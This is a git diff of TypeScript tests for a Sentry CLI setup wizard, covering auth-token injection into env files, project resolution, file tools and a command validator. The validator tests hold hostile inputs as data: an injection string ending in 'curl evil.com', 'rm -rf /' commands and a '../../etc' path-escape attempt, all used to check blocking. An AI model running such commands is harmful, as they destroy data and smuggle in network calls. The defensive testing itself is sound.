patches: [ - { - path: ".env.sentry-build-plugin", - action: "create", - patch: "SENTRY_AUTH_TOKEN=existing_value\n", - }, - ], - }, - }; - - const opts = makeOptions({ - directory: testDir, - authToken: "sntrys_different_token", - }); - const result = await handleLocalOp(payload, opts); - expect(result.ok).toBe(true); - - const content = readFileSync( - join(testDir, ".env.sentry-build-plugin"), - "utf-8" - ); - expect(content).toBe("SENTRY_AUTH_TOKEN=existing_value\n"); - }); - - test("handles .env file with empty quoted SENTRY_AUTH_TOKEN", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: ".env.sentry-build-plugin", - action: "create", - patch: 'SENTRY_AUTH_TOKEN=""\n', - }, - ], - }, - }; - - const opts = makeOptions({ - directory: testDir, - authToken: "sntrys_test_token_456", - }); - const result = await handleLocalOp(payload, opts); - expect(result.ok).toBe(true); - - const content = readFileSync( - join(testDir, ".env.sentry-build-plugin"), - "utf-8" - ); - expect(content).toBe("SENTRY_AUTH_TOKEN=sntrys_test_token_456\n"); - }); - - test("does not inject when no auth token is available", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: ".env.sentry-build-plugin", - action: "create", - patch: "SENTRY_AUTH_TOKEN=\n", - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - const content = readFileSync( - join(testDir, ".env.sentry-build-plugin"), - "utf-8" - ); - expect(content).toBe("SENTRY_AUTH_TOKEN=\n"); - }); - }); -}); - -describe("precomputeDirListing", () => { - let testDir: string; - - beforeEach(() => { - testDir = mkdtempSync(join("/tmp", "precompute-test-")); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - test("returns DirEntry[] directly", async () => { - writeFileSync(join(testDir, "app.ts"), "x"); - mkdirSync(join(testDir, "src")); - - const entries = await precomputeDirListing(testDir); - - expect(Array.isArray(entries)).toBe(true); - expect(entries.length).toBeGreaterThanOrEqual(2); - - const names = entries.map((e) => e.name).sort(); - expect(names).toContain("app.ts"); - expect(names).toContain("src"); - - const file = entries.find((e) => e.name === "app.ts"); - expect(file?.type).toBe("file"); - - const dir = entries.find((e) => e.name === "src"); - expect(dir?.type).toBe("directory"); - }); - - test("returns empty array for non-existent directory", async () => { - const entries = await precomputeDirListing(join(testDir, "nope")); - expect(entries).toEqual([]); - }); - - test("recursively lists nested entries", async () => { - mkdirSync(join(testDir, "a")); - writeFileSync(join(testDir, "a", "nested.ts"), "x"); - - const entries = await precomputeDirListing(testDir); - const paths = entries.map((e) => e.path); - expect(paths).toContain(join("a", "nested.ts")); - }); -}); - -describe("grep", () => { - let testDir: string; - let options: WizardOptions; - - beforeEach(() => { - testDir = mkdtempSync(join("/tmp", "grep-test-")); - options = makeOptions({ directory: testDir }); - writeFileSync( - join(testDir, "app.ts"), - 'import * as Sentry from "@sentry/node";\nSentry.init({ dsn: "..." });\n' - ); - writeFileSync( - join(testDir, "utils.ts"), - "export function helper() { return 1; }\n" - ); - mkdirSync(join(testDir, "src")); - writeFileSync( - join(testDir, "src", "index.ts"), - 'import { helper } from "./utils";\nSentry.init({});\n' - ); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - test("finds matches for a single pattern", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "Sentry\\.init" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ - pattern: string; - matches: Array<{ path: string; lineNum: number; line: string }>; - truncated: boolean; - }>; - }; - expect(data.results).toHaveLength(1); - expect(data.results[0].matches.length).toBeGreaterThanOrEqual(2); - expect(data.results[0].truncated).toBe(false); - }); - - test("supports multiple search patterns in one call", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "@sentry/node" }, { pattern: "helper" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ pattern: string; matches: unknown[] }>; - }; - expect(data.results).toHaveLength(2); - expect(data.results[0].pattern).toBe("@sentry/node"); - expect(data.results[0].matches.length).toBeGreaterThanOrEqual(1); - expect(data.results[1].pattern).toBe("helper"); - expect(data.results[1].matches.length).toBeGreaterThanOrEqual(1); - }); - - test("supports include glob filter", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "Sentry", include: "app.*" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ matches: Array<{ path: string }> }>; - }; - for (const match of data.results[0].matches) { - expect(match.path).toContain("app"); - } - }); - - test("returns empty matches for non-matching pattern", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "nonexistent_string_xyz" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { results: Array<{ matches: unknown[] }> }; - expect(data.results[0].matches).toHaveLength(0); - }); - - test("returns paths relative to cwd when searching a subdirectory", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "helper", path: "src" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ - matches: Array<{ path: string; lineNum: number }>; - }>; - }; - expect(data.results[0].matches.length).toBeGreaterThanOrEqual(1); - for (const match of data.results[0].matches) { - expect(match.path).toMatch(/^src\//); - } - }); - - test("respects path sandbox", async () => { - const payload: GrepPayload = { - type: "local-op", - operation: "grep", - cwd: testDir, - params: { - searches: [{ pattern: "test", path: "../../etc" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("outside project directory"); - }); -}); - -describe("glob", () => { - let testDir: string; - let options: WizardOptions; - - beforeEach(() => { - testDir = mkdtempSync(join("/tmp", "glob-test-")); - options = makeOptions({ directory: testDir }); - writeFileSync(join(testDir, "app.ts"), "x"); - writeFileSync(join(testDir, "utils.ts"), "x"); - writeFileSync(join(testDir, "config.json"), "{}"); - mkdirSync(join(testDir, "src")); - writeFileSync(join(testDir, "src", "index.ts"), "x"); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - test("finds files matching a single pattern", async () => { - const payload: GlobPayload = { - type: "local-op", - operation: "glob", - cwd: testDir, - params: { - patterns: ["*.ts"], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ pattern: string; files: string[]; truncated: boolean }>; - }; - expect(data.results).toHaveLength(1); - expect(data.results[0].files.length).toBeGreaterThanOrEqual(2); - expect(data.results[0].truncated).toBe(false); - for (const f of data.results[0].files) { - expect(f).toMatch(/\.ts$/); - } - }); - - test("supports multiple patterns in one call", async () => { - const payload: GlobPayload = { - type: "local-op", - operation: "glob", - cwd: testDir, - params: { - patterns: ["*.ts", "*.json"], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { - results: Array<{ pattern: string; files: string[] }>; - }; - expect(data.results).toHaveLength(2); - expect(data.results[0].files.length).toBeGreaterThanOrEqual(2); - expect(data.results[1].files.length).toBeGreaterThanOrEqual(1); - }); - - test("returns empty for non-matching pattern", async () => { - const payload: GlobPayload = { - type: "local-op", - operation: "glob", - cwd: testDir, - params: { - patterns: ["*.xyz"], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const data = result.data as { results: Array<{ files: string[] }> }; - expect(data.results[0].files).toHaveLength(0); - }); -}); diff --git a/test/lib/init/preflight.test.ts b/test/lib/init/preflight.test.ts new file mode 100644 index 000000000..714609698 --- /dev/null +++ b/test/lib/init/preflight.test.ts @@ -0,0 +1,274 @@ +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as apiClient from "../../../src/lib/api-client.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as auth from "../../../src/lib/db/auth.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as dsnIndex from "../../../src/lib/dsn/index.js"; +import { ApiError } from "../../../src/lib/errors.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as prefetch from "../../../src/lib/init/org-prefetch.js"; +import { resolveInitContext } from "../../../src/lib/init/preflight.js"; +import type { WizardOptions } from "../../../src/lib/init/types.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTarget from "../../../src/lib/resolve-target.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTeam from "../../../src/lib/resolve-team.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + yes: true, + dryRun: false, + ...overrides, + }; +} + +const noop = () => { + /* suppress prompt output */ +}; + +let selectSpy: ReturnType; +let isCancelSpy: ReturnType; +let cancelSpy: ReturnType; +let logErrorSpy: ReturnType; +let resolveOrgPrefetchedSpy: ReturnType; +let listOrganizationsSpy: ReturnType; +let getProjectSpy: ReturnType; +let tryGetPrimaryDsnSpy: ReturnType; +let getAuthTokenSpy: ReturnType; +let resolveOrCreateTeamSpy: ReturnType; +let detectDsnSpy: ReturnType; +let resolveDsnByPublicKeySpy: ReturnType; + +beforeEach(() => { + selectSpy = spyOn(clack, "select").mockResolvedValue("existing"); + isCancelSpy = spyOn(clack, "isCancel").mockImplementation( + (value: unknown) => value === Symbol.for("cancel") + ); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + + resolveOrgPrefetchedSpy = spyOn( + prefetch, + "resolveOrgPrefetched" + ).mockResolvedValue({ org: "acme" }); + listOrganizationsSpy = spyOn( + apiClient, + "listOrganizations" + ).mockResolvedValue([{ id: "1", slug: "acme", name: "Acme" }]); + getProjectSpy = spyOn(apiClient, "getProject").mockResolvedValue({ + id: "42", + slug: "my-app", + name: "my-app", + platform: "javascript-react", + dateCreated: "2026-04-16T00:00:00Z", + } as any); + tryGetPrimaryDsnSpy = spyOn(apiClient, "tryGetPrimaryDsn").mockResolvedValue( + "https://abc@o1.ingest.sentry.io/42" + ); + getAuthTokenSpy = spyOn(auth, "getAuthToken").mockReturnValue("sntrys_test"); + resolveOrCreateTeamSpy = spyOn( + resolveTeam, + "resolveOrCreateTeam" + ).mockResolvedValue({ + slug: "platform", + source: "auto-selected", + }); + detectDsnSpy = spyOn(dsnIndex, "detectDsn").mockResolvedValue(null); + resolveDsnByPublicKeySpy = spyOn( + resolveTarget, + "resolveDsnByPublicKey" + ).mockResolvedValue(null); +}); + +afterEach(() => { + selectSpy.mockRestore(); + isCancelSpy.mockRestore(); + cancelSpy.mockRestore(); + logErrorSpy.mockRestore(); + resolveOrgPrefetchedSpy.mockRestore(); + listOrganizationsSpy.mockRestore(); + getProjectSpy.mockRestore(); + tryGetPrimaryDsnSpy.mockRestore(); + getAuthTokenSpy.mockRestore(); + resolveOrCreateTeamSpy.mockRestore(); + detectDsnSpy.mockRestore(); + resolveDsnByPublicKeySpy.mockRestore(); + process.exitCode = 0; +}); + +describe("resolveInitContext", () => { + test("uses an existing detected project in --yes mode", async () => { + detectDsnSpy.mockResolvedValue({ + publicKey: "abc", + protocol: "https", + host: "o1.ingest.sentry.io", + projectId: "42", + raw: "https://abc@o1.ingest.sentry.io/42", + source: "env_file" as const, + }); + resolveDsnByPublicKeySpy.mockResolvedValue({ + org: "acme", + project: "my-app", + }); + + const context = await resolveInitContext(makeOptions()); + + expect(context).toEqual( + expect.objectContaining({ + org: "acme", + project: "my-app", + team: "platform", + authToken: "sntrys_test", + existingProject: expect.objectContaining({ + orgSlug: "acme", + projectSlug: "my-app", + }), + }) + ); + }); + + test("keeps a detected DSN project even when project enrichment fails", async () => { + detectDsnSpy.mockResolvedValue({ + publicKey: "abc", + protocol: "https", + host: "o1.ingest.sentry.io", + projectId: "42", + raw: "https://abc@o1.ingest.sentry.io/42", + source: "env_file" as const, + }); + resolveDsnByPublicKeySpy.mockResolvedValue({ + org: "acme", + project: "my-app", + }); + getProjectSpy.mockRejectedValue(new ApiError("temporary failure", 503)); + + const context = await resolveInitContext(makeOptions()); + + expect(context).toEqual( + expect.objectContaining({ + org: "acme", + project: "my-app", + team: "platform", + }) + ); + expect(context?.existingProject).toBeUndefined(); + }); + + test("falls back to listing organizations when prefetch misses", async () => { + resolveOrgPrefetchedSpy.mockResolvedValue(null); + listOrganizationsSpy.mockResolvedValue([ + { id: "1", slug: "solo-org", name: "Solo Org" }, + ]); + + const context = await resolveInitContext(makeOptions({ yes: false })); + + expect(context?.org).toBe("solo-org"); + }); + + test("lets the user choose an existing bare-slug project", async () => { + selectSpy.mockResolvedValue("existing"); + + const context = await resolveInitContext( + makeOptions({ yes: false, project: "my-app" }) + ); + + expect(context?.project).toBe("my-app"); + expect(context?.existingProject?.projectSlug).toBe("my-app"); + }); + + test("keeps the bare slug when the existence lookup fails", async () => { + getProjectSpy.mockRejectedValue(new ApiError("temporary failure", 503)); + + const context = await resolveInitContext( + makeOptions({ yes: false, project: "my-app" }) + ); + + expect(context?.project).toBe("my-app"); + expect(context?.existingProject).toBeUndefined(); + }); + + test("defers empty-org team creation until project creation", async () => { + resolveOrCreateTeamSpy.mockResolvedValue({ source: "deferred" } as any); + + const context = await resolveInitContext(makeOptions()); + + expect(context?.team).toBeUndefined(); + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith( + "acme", + expect.objectContaining({ + team: undefined, + deferAutoCreateOnEmptyOrg: true, + }) + ); + }); + + test("clears the project when the user chooses to create new", async () => { + selectSpy.mockResolvedValue("create"); + + const context = await resolveInitContext( + makeOptions({ yes: false, project: "my-app" }) + ); + + expect(context?.project).toBeUndefined(); + expect(context?.existingProject).toBeUndefined(); + }); + + test("resolves an explicit team during preflight", async () => { + resolveOrCreateTeamSpy.mockImplementation(async (_org, options) => ({ + slug: options.team ?? "platform", + source: options.team ? "explicit" : "auto-selected", + })); + + const context = await resolveInitContext( + makeOptions({ team: "backend", yes: false }) + ); + + expect(context?.team).toBe("backend"); + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith( + "acme", + expect.objectContaining({ + team: "backend", + deferAutoCreateOnEmptyOrg: true, + }) + ); + }); + + test("uses the ambiguity callback when team selection requires it", async () => { + selectSpy.mockResolvedValue("mobile"); + resolveOrCreateTeamSpy.mockImplementation(async (_org, options) => { + const slug = await options.onAmbiguous?.([ + { slug: "mobile", name: "Mobile", isMember: true }, + { slug: "platform", name: "Platform", isMember: true }, + ] as any); + return { slug, source: "auto-selected" }; + }); + + const context = await resolveInitContext(makeOptions({ yes: false })); + + expect(context?.team).toBe("mobile"); + }); + + test("returns null when the user cancels an org selection", async () => { + resolveOrgPrefetchedSpy.mockResolvedValue(null); + listOrganizationsSpy.mockResolvedValue([ + { id: "1", slug: "acme", name: "Acme" }, + { id: "2", slug: "beta", name: "Beta" }, + ]); + selectSpy.mockResolvedValue(Symbol.for("cancel")); + + const context = await resolveInitContext(makeOptions({ yes: false })); + + expect(context).toBeNull(); + expect(cancelSpy).toHaveBeenCalledWith("Setup cancelled."); + }); + + test("includes the auth token in the resolved context", async () => { + const context = await resolveInitContext(makeOptions()); + + expect(context?.authToken).toBe("sntrys_test"); + }); +}); diff --git a/test/lib/init/tools/create-sentry-project.test.ts b/test/lib/init/tools/create-sentry-project.test.ts new file mode 100644 index 000000000..023dea98f --- /dev/null +++ b/test/lib/init/tools/create-sentry-project.test.ts @@ -0,0 +1,212 @@ +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as apiClient from "../../../../src/lib/api-client.js"; +import { createSentryProject } from "../../../../src/lib/init/tools/create-sentry-project.js"; +import type { CreateSentryProjectPayload } from "../../../../src/lib/init/types.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTeam from "../../../../src/lib/resolve-team.js"; + +function makePayload( + overrides?: Partial +): CreateSentryProjectPayload { + return { + type: "tool", + operation: "create-sentry-project", + cwd: "/tmp/test", + params: { + name: "my-app", + platform: "javascript-react", + ...overrides, + }, + }; +} + +let createProjectWithDsnSpy: ReturnType; +let getProjectSpy: ReturnType; +let tryGetPrimaryDsnSpy: ReturnType; +let resolveOrCreateTeamSpy: ReturnType; + +beforeEach(() => { + createProjectWithDsnSpy = spyOn( + apiClient, + "createProjectWithDsn" + ).mockResolvedValue({ + project: { + id: "42", + slug: "my-app", + name: "my-app", + platform: "javascript-react", + dateCreated: "2026-04-16T00:00:00Z", + } as any, + dsn: "https://abc@o1.ingest.sentry.io/42", + url: "https://sentry.io/settings/acme/projects/my-app/", + }); + getProjectSpy = spyOn(apiClient, "getProject").mockResolvedValue({ + id: "42", + slug: "my-app", + name: "my-app", + platform: "javascript-react", + dateCreated: "2026-04-16T00:00:00Z", + } as any); + tryGetPrimaryDsnSpy = spyOn(apiClient, "tryGetPrimaryDsn").mockResolvedValue( + "https://abc@o1.ingest.sentry.io/42" + ); + resolveOrCreateTeamSpy = spyOn( + resolveTeam, + "resolveOrCreateTeam" + ).mockResolvedValue({ + slug: "generated-team", + source: "auto-created", + } as any); +}); + +afterEach(() => { + createProjectWithDsnSpy.mockRestore(); + getProjectSpy.mockRestore(); + tryGetPrimaryDsnSpy.mockRestore(); + resolveOrCreateTeamSpy.mockRestore(); +}); + +describe("createSentryProject", () => { + test("returns the pre-resolved existing project without creating", async () => { + const result = await createSentryProject(makePayload(), { + dryRun: false, + org: "acme", + team: undefined, + project: "my-app", + existingProject: { + orgSlug: "acme", + projectSlug: "my-app", + projectId: "42", + dsn: "https://abc@o1.ingest.sentry.io/42", + url: "https://sentry.io/settings/acme/projects/my-app/", + }, + }); + + expect(result.ok).toBe(true); + expect(result.message).toContain("Using existing project"); + expect(createProjectWithDsnSpy).not.toHaveBeenCalled(); + expect(resolveOrCreateTeamSpy).not.toHaveBeenCalled(); + }); + + test("creates a new project with the pre-resolved org and team", async () => { + getProjectSpy.mockResolvedValueOnce({ + id: "42", + slug: "different-project", + name: "different-project", + platform: "javascript-react", + dateCreated: "2026-04-16T00:00:00Z", + } as any); + + const result = await createSentryProject(makePayload(), { + dryRun: false, + org: "acme", + team: "platform", + project: undefined, + }); + + expect(result.ok).toBe(true); + expect(createProjectWithDsnSpy).toHaveBeenCalledWith( + "acme", + "platform", + expect.objectContaining({ + name: "my-app", + platform: "javascript-react", + }) + ); + }); + + test("re-checks for an existing project before creating when the slug is known", async () => { + const result = await createSentryProject(makePayload(), { + dryRun: false, + org: "acme", + team: undefined, + project: "my-app", + }); + + expect(result.ok).toBe(true); + expect(result.message).toContain("Using existing project"); + expect(createProjectWithDsnSpy).not.toHaveBeenCalled(); + expect(resolveOrCreateTeamSpy).not.toHaveBeenCalled(); + }); + + test("surfaces lookup failures before creating when a known slug cannot be verified", async () => { + getProjectSpy.mockRejectedValueOnce(new Error("temporary failure")); + + const result = await createSentryProject(makePayload(), { + dryRun: false, + org: "acme", + team: "platform", + project: "my-app", + }); + + expect(result.ok).toBe(false); + expect(result.error).toContain("temporary failure"); + expect(createProjectWithDsnSpy).not.toHaveBeenCalled(); + }); + + test("returns dry-run placeholder project data", async () => { + const result = await createSentryProject(makePayload(), { + dryRun: true, + org: "acme", + team: "platform", + project: undefined, + }); + + expect(result.ok).toBe(true); + expect(result.data).toEqual( + expect.objectContaining({ + orgSlug: "acme", + projectId: "(dry-run)", + }) + ); + expect(createProjectWithDsnSpy).not.toHaveBeenCalled(); + }); + + test("resolves the team at project creation time when preflight deferred it", async () => { + const result = await createSentryProject(makePayload(), { + dryRun: false, + org: "acme", + team: undefined, + project: undefined, + }); + + expect(result.ok).toBe(true); + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith( + "acme", + expect.objectContaining({ + autoCreateSlug: "my-app", + usageHint: "sentry init", + dryRun: false, + }) + ); + expect(createProjectWithDsnSpy).toHaveBeenCalledWith( + "acme", + "generated-team", + expect.objectContaining({ + name: "my-app", + platform: "javascript-react", + }) + ); + }); + + test("uses the final project slug for deferred team resolution in dry-run mode", async () => { + const result = await createSentryProject(makePayload(), { + dryRun: true, + org: "acme", + team: undefined, + project: undefined, + }); + + expect(result.ok).toBe(true); + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith( + "acme", + expect.objectContaining({ + autoCreateSlug: "my-app", + usageHint: "sentry init", + dryRun: true, + }) + ); + expect(createProjectWithDsnSpy).not.toHaveBeenCalled(); + }); +}); diff --git a/test/lib/init/tools/filesystem-tools.test.ts b/test/lib/init/tools/filesystem-tools.test.ts new file mode 100644 index 000000000..51ed99aec --- /dev/null +++ b/test/lib/init/tools/filesystem-tools.test.ts @@ -0,0 +1,192 @@ +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +import fs from "node:fs"; +import path from "node:path"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as dsnIndex from "../../../../src/lib/dsn/index.js"; +import { executeTool } from "../../../../src/lib/init/tools/registry.js"; +import type { + ResolvedInitContext, + ToolPayload, +} from "../../../../src/lib/init/types.js"; +import { precomputeDirListing } from "../../../../src/lib/init/workflow-inputs.js"; + +function makeContext(directory: string): ResolvedInitContext { + return { + directory, + yes: true, + dryRun: false, + org: "acme", + team: "platform", + authToken: "sntrys_test_token_123", + }; +} + +let testDir: string; +let detectDsnSpy: ReturnType; + +beforeEach(() => { + testDir = fs.mkdtempSync(path.join("/tmp", "init-tools-")); + detectDsnSpy = spyOn(dsnIndex, "detectDsn").mockResolvedValue(null); +}); + +afterEach(() => { + detectDsnSpy.mockRestore(); + fs.rmSync(testDir, { recursive: true, force: true }); +}); + +describe("filesystem tools", () => { + test("rejects tool execution when cwd escapes the project directory", async () => { + const payload = { + type: "tool", + operation: "list-dir", + cwd: "/", + params: { path: "." }, + } as ToolPayload; + + const result = await executeTool(payload, makeContext(testDir)); + + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("lists and precomputes directory contents", async () => { + fs.writeFileSync(path.join(testDir, "index.ts"), "export {};\n"); + fs.mkdirSync(path.join(testDir, "src")); + fs.writeFileSync( + path.join(testDir, "src", "app.ts"), + "console.log('x');\n" + ); + + const result = await executeTool( + { + type: "tool", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 3 }, + }, + makeContext(testDir) + ); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const precomputed = await precomputeDirListing(testDir); + + expect(result.ok).toBe(true); + expect(entries.map((entry) => entry.path)).toContain("src/app.ts"); + expect(precomputed.map((entry) => entry.path)).toContain("src/app.ts"); + }); + + test("reads files and checks existence in batches", async () => { + fs.writeFileSync(path.join(testDir, "exists.txt"), "hello"); + + const readResult = await executeTool( + { + type: "tool", + operation: "read-files", + cwd: testDir, + params: { paths: ["exists.txt", "missing.txt"] }, + }, + makeContext(testDir) + ); + const existsResult = await executeTool( + { + type: "tool", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["exists.txt", "missing.txt"] }, + }, + makeContext(testDir) + ); + + expect((readResult.data as any).files["exists.txt"]).toBe("hello"); + expect((readResult.data as any).files["missing.txt"]).toBeNull(); + expect((existsResult.data as any).exists["exists.txt"]).toBe(true); + expect((existsResult.data as any).exists["missing.txt"]).toBe(false); + }); + + test("applies patchsets and injects auth tokens into env files", async () => { + const result = await executeTool( + { + type: "tool", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: ".env.sentry-build-plugin", + action: "create", + patch: "SENTRY_AUTH_TOKEN=\n", + }, + ], + }, + }, + makeContext(testDir) + ); + + expect(result.ok).toBe(true); + expect( + fs.readFileSync(path.join(testDir, ".env.sentry-build-plugin"), "utf-8") + ).toContain("sntrys_test_token_123"); + }); + + test("greps and globs files inside the project", async () => { + fs.mkdirSync(path.join(testDir, "src")); + fs.writeFileSync( + path.join(testDir, "src", "app.ts"), + "Sentry.captureException(error);\n" + ); + + const grepResult = await executeTool( + { + type: "tool", + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "captureException" }] }, + }, + makeContext(testDir) + ); + const globResult = await executeTool( + { + type: "tool", + operation: "glob", + cwd: testDir, + params: { patterns: ["**/*.ts"] }, + }, + makeContext(testDir) + ); + + expect((grepResult.data as any).results[0].matches[0].path).toBe( + "src/app.ts" + ); + expect((globResult.data as any).results[0].files).toContain("src/app.ts"); + }); + + test("reports installed Sentry signals when a DSN is detected", async () => { + detectDsnSpy.mockResolvedValue({ + publicKey: "abc", + protocol: "https", + host: "o1.ingest.sentry.io", + projectId: "42", + raw: "https://abc@o1.ingest.sentry.io/42", + source: "env_file" as const, + sourcePath: ".env", + }); + + const result = await executeTool( + { + type: "tool", + operation: "detect-sentry", + cwd: testDir, + params: {}, + }, + makeContext(testDir) + ); + + expect(result.ok).toBe(true); + expect(result.data).toEqual( + expect.objectContaining({ + status: "installed", + dsn: "https://abc@o1.ingest.sentry.io/42", + }) + ); + }); +}); diff --git a/test/lib/init/tools/registry.test.ts b/test/lib/init/tools/registry.test.ts new file mode 100644 index 000000000..12eb06b82 --- /dev/null +++ b/test/lib/init/tools/registry.test.ts @@ -0,0 +1,46 @@ +import { describe, expect, test } from "bun:test"; +import { + describeTool, + executeTool, +} from "../../../../src/lib/init/tools/registry.js"; +import type { + ResolvedInitContext, + ToolPayload, +} from "../../../../src/lib/init/types.js"; + +function makeContext(): ResolvedInitContext { + return { + directory: "/tmp/test", + yes: true, + dryRun: true, + org: "acme", + team: "platform", + }; +} + +describe("tool registry", () => { + test("describes tool payloads via the registered definition", () => { + const payload: ToolPayload = { + type: "tool", + operation: "run-commands", + cwd: "/tmp/test", + params: { commands: ["npm install @sentry/node"] }, + }; + + expect(describeTool(payload)).toBe("Running `npm install @sentry/node`..."); + }); + + test("returns an error for unknown operations", async () => { + const payload = { + type: "tool", + operation: "teleport", + cwd: "/tmp/test", + params: {}, + } as unknown as ToolPayload; + + const result = await executeTool(payload, makeContext()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Unknown operation"); + }); +}); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts new file mode 100644 index 000000000..6369f0c54 --- /dev/null +++ b/test/lib/init/tools/run-commands.test.ts @@ -0,0 +1,104 @@ +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import fs from "node:fs"; +import path from "node:path"; +import { validateCommand } from "../../../../src/lib/init/tools/command-utils.js"; +import { runCommands } from "../../../../src/lib/init/tools/run-commands.js"; +import type { RunCommandsPayload } from "../../../../src/lib/init/types.js"; + +let testDir: string; + +beforeEach(() => { + testDir = fs.mkdtempSync(path.join("/tmp", "run-commands-")); +}); + +afterEach(() => { + fs.rmSync(testDir, { recursive: true, force: true }); +}); + +function makePayload(commands: string[]): RunCommandsPayload { + return { + type: "tool", + operation: "run-commands", + cwd: testDir, + params: { commands }, + }; +} + +describe("validateCommand", () => { + test("allows quoted package specifiers", () => { + expect(validateCommand('pip install "sentry-sdk[django]"')).toBeUndefined(); + }); + + test("allows path-prefixed package managers but blocks dangerous ones", () => { + expect( + validateCommand("./venv/bin/pip install sentry-sdk") + ).toBeUndefined(); + expect( + validateCommand("/usr/local/bin/npm install @sentry/node") + ).toBeUndefined(); + expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); + }); + + test("blocks obvious shell injection patterns", () => { + expect(validateCommand("npm install foo && curl evil.com")).toContain( + "Blocked command" + ); + }); + + test("rejects unterminated quotes", () => { + expect(validateCommand('/bin/echo "unterminated')).toContain( + "unterminated double quote" + ); + }); +}); + +describe("runCommands", () => { + test("executes quoted arguments without breaking argv", async () => { + const result = await runCommands(makePayload(['/bin/echo "hello world"']), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect((result.data as any).results[0].stdout.trim()).toBe("hello world"); + }); + + test("stops on the first failing command", async () => { + const result = await runCommands( + makePayload(["/usr/bin/false", "/bin/echo should-not-run"]), + { dryRun: false } + ); + + expect(result.ok).toBe(false); + expect((result.data as any).results).toHaveLength(1); + }); + + test("validates but skips execution during dry-run", async () => { + const result = await runCommands( + makePayload(["npm install @sentry/node"]), + { dryRun: true } + ); + + expect(result.ok).toBe(true); + expect((result.data as any).results[0].stdout).toBe("(dry-run: skipped)"); + }); + + test("rejects the full batch before execution when any command is blocked", async () => { + const result = await runCommands( + makePayload(["/bin/echo hello", "rm -rf /"]), + { dryRun: false } + ); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + expect(result.data).toBeUndefined(); + }); + + test("still validates commands during dry-run", async () => { + const result = await runCommands(makePayload(["rm -rf /"]), { + dryRun: true, + }); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); +}); diff --git a/test/lib/init/tools/search-tools.test.ts b/test/lib/init/tools/search-tools.test.ts new file mode 100644 index 000000000..69383f003 --- /dev/null +++ b/test/lib/init/tools/search-tools.test.ts @@ -0,0 +1,240 @@ +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import fs from "node:fs"; +import path from "node:path"; +import { executeTool } from "../../../../src/lib/init/tools/registry.js"; +import type { + ResolvedInitContext, + ToolPayload, +} from "../../../../src/lib/init/types.js"; + +function makeContext(directory: string): ResolvedInitContext { + return { + directory, + yes: true, + 